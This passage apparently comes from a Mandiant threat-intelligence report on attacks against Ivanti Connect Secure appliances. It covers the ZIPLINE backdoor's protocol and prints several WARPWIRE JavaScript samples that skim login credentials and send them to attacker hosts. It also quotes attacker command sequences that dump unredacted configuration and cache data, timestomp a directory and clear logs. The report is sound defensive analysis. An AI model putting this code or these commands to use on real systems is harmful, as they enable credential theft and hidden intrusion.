encryption_keydata[20]; } key_material_t;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 10: Key material structure</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is calculated on the buffer. </p> <p>The truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is described in more details in the next section).</p> <p>The starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first 16 bytes of the <code>decryption_keydata</code> and <code>encryption_keydata</code> arrays. </p> <p>Once produced, both the decryption and the encryption round keys (11 round keys each, including the original AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order. Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan, terminating after each of the processed commands and likely respawned by the malware ecosystem running on the compromised host.</p> <h4>Authentication</h4> <p>ZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index of the current message starting from 0. Every received or sent packet increments the index and the value is appended to the message as part of the authentication mechanism. That way messages out of order would not be able to authenticate, which would lead to termination of the communication with the C2 server.</p> <p>Figure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC calculations.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 11: Example message</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>In Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes (blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black), followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1 hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message sent and received.</p> <h4>Data Protocol</h4> <p>ZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>typedef struct tag_header_t { char signature[21]; struct tag_key_material key_material; } header_t;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 12: ZIPLINE header structure</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The signature is expected to be the string <code>SSH-2.0-OpenSSH_0.3xx</code>, followed by a structure that contains data for AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once decrypted, follows the structure described in Figure 13.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>typedef struct tag_message_t { uint16_t len; /* big endian number */ uint8_t data[len]; /* variable size data */ uint8_t hmac_sig[20]; } message_t;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 13: ZIPLINE message structure</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Although the message structure is designed to be flexible, this instance of the malware expects the first message to specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the malware terminates the connection.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 14: Decrypted message structure</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>In the decrypted message in Figure 14, the size (note, it’s a big endian number) is denoted by the first two bytes (blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch, ZIPLINE will terminate the connection, which would also lead to process termination. The <code>xx</code> bytes shown in black are non-consequential padding values and the <code>yy</code> values (amber) specify the HMAC signature for the message.</p> <p>If the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it back to the C2 server. After that, it fetches another message, which is expected to have <code>message_t.len</code> equal to one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is the index of the command to be executed.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse"><colgroup><col><col><col></colgroup> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Command ID</strong></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Operation</strong></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">1</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">File Upload</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The command contains the file path and which content to be sent to the connected host.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">2</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">File Download</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">The command contains the file path and its content to be saved on the compromised system.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">3</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Reverse Shell</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">A reverse shell is created using </span><code style="vertical-align:baseline">/bin/sh</code><span style="vertical-align:baseline"> and the provided command is executed</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">4</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Proxy Server</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Creates a proxy server with an IP address provided as part of the command.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">5</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Tunneling Server</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">Implements a tunneling server, capable of simultaneously dispatching traffic between multiple endpoints.</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 1: ZIPLINE command ID</span></em></span></p> <p>The message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful (the length and the command).</p> <h4>Additional Findings</h4> <p>ZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the <code>setsid</code> command to create a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the malware closes the open handles except for the one associated with the current connection. The <code>web</code> process must be able to handle the <code>SIGALRM</code> signal because the malware executes the <code>alarm</code> command on a couple of occasions (delayed by three seconds). Additionally, the <code>web</code> process terminates itself after executing the specified command, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised host in order to keep listening for incoming traffic.</p> <h3>WARPWIRE Variants</h3> <p>Mandiant has identified multiple new variants of <u>WARPWIRE</u> across our response engagements and in the wild. Across these variants, the primary purpose of them has remained to target plaintext passwords and usernames for exfiltration to a hard-coded C2 server.</p> <p>The main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of identified variants, the GET request has been replaced with a POST that submits the credentials in either the POST params or body, however, Mandiant has also identified variants that still utilize a GET request but now include the <code>window.location.href</code> as a submitted value. </p> <p>Based on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities, Mandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of select WARPWIRE samples.</p> </div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>var ivanti = document.frmLogin.username.value; var login = document.frmLogin.password.value; var action = window.location.href; if (ivanti!=="" && login!=="") { var ivanti = btoa(ivanti); var login = btoa(login); var action = btoa(action); const url = "https://duorhytm[.]fun/"; var xhr = new XMLHttpRequest(); xhr.open("POST", url, false); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); var params ="ivanti="+ivanti +"&login="+ login+"&action="+action; xhr.send(params);</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 15: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>var a = document.frmLogin.username.value; var b = document.frmLogin.password.value; var c = window.location.href; if (a !== "" && b !== "") { var aEncoded = btoa(a); var bEncoded = btoa(b); var cEncoded = btoa(c); const url = "https://clicko[.]click/?a=" + aEncoded + "&b=" + bEncoded + "&c=" + cEncoded; var xhr = new XMLHttpRequest(); xhr.open("GET", url, false); xhr.send(null);</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 16: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code> var uParam = document.frmLogin.username.value; var pParam = document.frmLogin.password.value; if (uParam && pParam) { var xhr = new XMLHttpRequest(); const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php` const body = `h=${btoa(document.location.hostname)}&u =${btoa(uParam)}&p=${btoa(pParam)}`; xhr.open('POST', url, true); xhr.setRequestHeader ('Content-type', 'application/x-www-form-urlencoded'); xhr.send(body);</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 17: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code> var ivanti = document.frmLogin.username.value; var login = document.frmLogin.password.value; var action = window.location.href; if (ivanti!=="" && login!=="") { var ivanti = btoa(ivanti); var login = btoa(login); var action = btoa(action); const url = "https://cpanel.netbar[.]org/assets/js/xml.php"; var xhr = new XMLHttpRequest(); xhr.open("POST", url, false); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); var params ="ivanti="+ivanti +"&login="+ login+"&action="+action; xhr.send(params); }</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 18: WARPWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>Usage of Open-Source Tooling</h3> <p>Across our incident response engagements, Mandiant identified multiple open-source tools utilized to support post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"><table border="1px" cellpadding="16px" style="border-collapse:collapse"><colgroup><col><col></colgroup> <thead> <tr> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Tool Name </strong></p> </th> <th style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><strong style="vertical-align:baseline">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IMPACKET</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">CRACKMAPEXEC</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">CRACKMAPEXEC is a post-exploitation tool against Microsoft Windows environments. It is recognized for its lateral movement capabilities.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IODINE</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">IODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over DNS.</span></p> </td> </tr> <tr> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">ENUM4LINUX</span></p> </td> <td style="vertical-align:top;border:1px solid #000000;padding:16px"> <p><span style="vertical-align:baseline">ENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba hosts.</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em><span style="vertical-align:baseline">Table 2: Open source tooling identified</span></em></span></p> <h3>Additional TTPs</h3> <h4>Configuration and Cache Theft</h4> <p>Mandiant has identified evidence consistent with dumping the running configuration and cache after the initial exploitation of an CS appliance using the built-in <code>dsls</code> command found on CS appliances. The resulting output is saved to a <code>tar</code> archive masquerading as a randomly generated 10-character CSS file within the directory: <code>/home/webserver/htdocs/dana-na/css/</code>. </p> <p>We have identified the following sequence of commands (Figure 19) executed on a compromised appliance to dump the cache and configuration into the CSS directory.</p> </div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>export LD_LIBRARY_PATH=/lib:/home/lib; export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin; echo ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY 9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC kKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY mQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ ogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG VuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL mNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo gcz0nbicKcHJpbnQocyxlbmQ9Jycp |base64 -d|/home/venv3/bin/python; chmod +x /tmp/tools; /tmp/tools -S -R -B /vc >/tmp/test1.txt; rm -rf /tmp/tools; touch /tmp/testt -r /home/webserver/htdocs/dana-na/css; mount -o rw,remount /; tar czf /home/webserver/htdocs/dana-na/css/<REDACTED>.css /tmp/test1.txt; rm -rf /tmp/test1.txt;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 19: Command sequence to dump the cache and configuration</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The command sequence executes a Base64-encoded Python script that writes a patched version of the <code>dsls</code> binary (<code>/home/bin/dsls</code>) into <code>/tmp/tools</code>. At a high level, the patched binary allows the <code>dsls</code> command to display sensitive information that is typically redacted. Figure 20 shows the Base64-decoded Python script.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>from base64 import b64encode as e f=open('/home/bin/dsls','rb') c=f.read() f.close() p=c.find(bytes.fromhex('8dbd60ffffff')) if p>0: d=bytearray(c) if d[p-2]==0x74: d[p-2]=0xeb f=open('/tmp/tools','wb') f.write(d) f.close() s='f' else: s='i' else: s='n' print(s,end='')</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 20: Base64-decoded Python script</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The script looks for the byte sequence <code>0x8dbd60ffffff</code> within the file <code>/home/bin/dsls</code>. This is a legitimate executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache information. If the byte sequence is found (<code>p>0</code>), it creates a byte array (<code>d</code>) from the file contents (<code>c</code>) for further modification.</p> <p>The logic then checks if the byte 2 positions before the found byte sequence (<code>p-2</code>) is equal to <code>0x74</code>. If it is equal to <code>0x74</code>, it replaces that byte with <code>0xeb</code>. Lastly, the script rewrites the modified byte array into <code>/tmp/tools</code>. </p> <p>The modification of the binary turns a conditional <code>JMP</code> instruction (<code>0x74</code>) into an unconditional <code>JMP</code> (<code>0xeb</code>). The patch forces the execution flow to bypass a check in the legitimate <code>dsls</code> binary responsible for redacting sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the output with <code><secure></code>.</p> <p>The command sequence continues to do the following:</p> <ol> <li>Execute <code>/tmp/tools</code> (patched version of <code>/home/bin/dsls</code>) to dump the configuration and cache to <code>/tmp/test1.txt</code> </li> <li>Remove <code>/tmp/tools</code> </li> <li>Create an empty file <code>/tmp/testt</code> with the modified and access timestamps of <code>/home/webserver/htdocs/dana-na/css/</code>. This will be used later to timestomp the CSS directory with its original timestamps. </li> <li>Remount the file system as read-write</li> <li>Archive the dump into a CSS file within <code>/home/webserver/htdocs/dana-na/css/</code></li> <li>Delete <code>/tmp/test1.txt</code></li> </ol> <p>Mandiant identified efforts to remove evidence of compromise after the configuration and cache dump were downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting CVE-2023-46805 and CVE-2024-21887.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>rm -rf /home/webserver/htdocs/dana-na/css/<REDACTED>.css; touch -r /tmp/testt /home/webserver/htdocs/dana-na/css; rm -rf /tmp/testt; echo > /data/var/dlogs/config_rest_server.log; mount -o ro,remount/</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 21: Command sequence to cover up evidence of compromise</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The command sequence does the following:</p> <ol> <li>Delete the staged configuration and cache dump</li> <li>Timestomp the CSS directory with the modified and access timestamps of <code>/tmp/testt</code></li> <li>Clear the <code>config_rest_server.log</code> file that would record exploitation attempts of CVE-2023-46805 and CVE-2024-21887</li> <li>Remount the file system in read-only mode, reverting it back to its original state</li> </ol> <p>Additionally, we have identified the configuration and dump being saved to compressed files located in the following 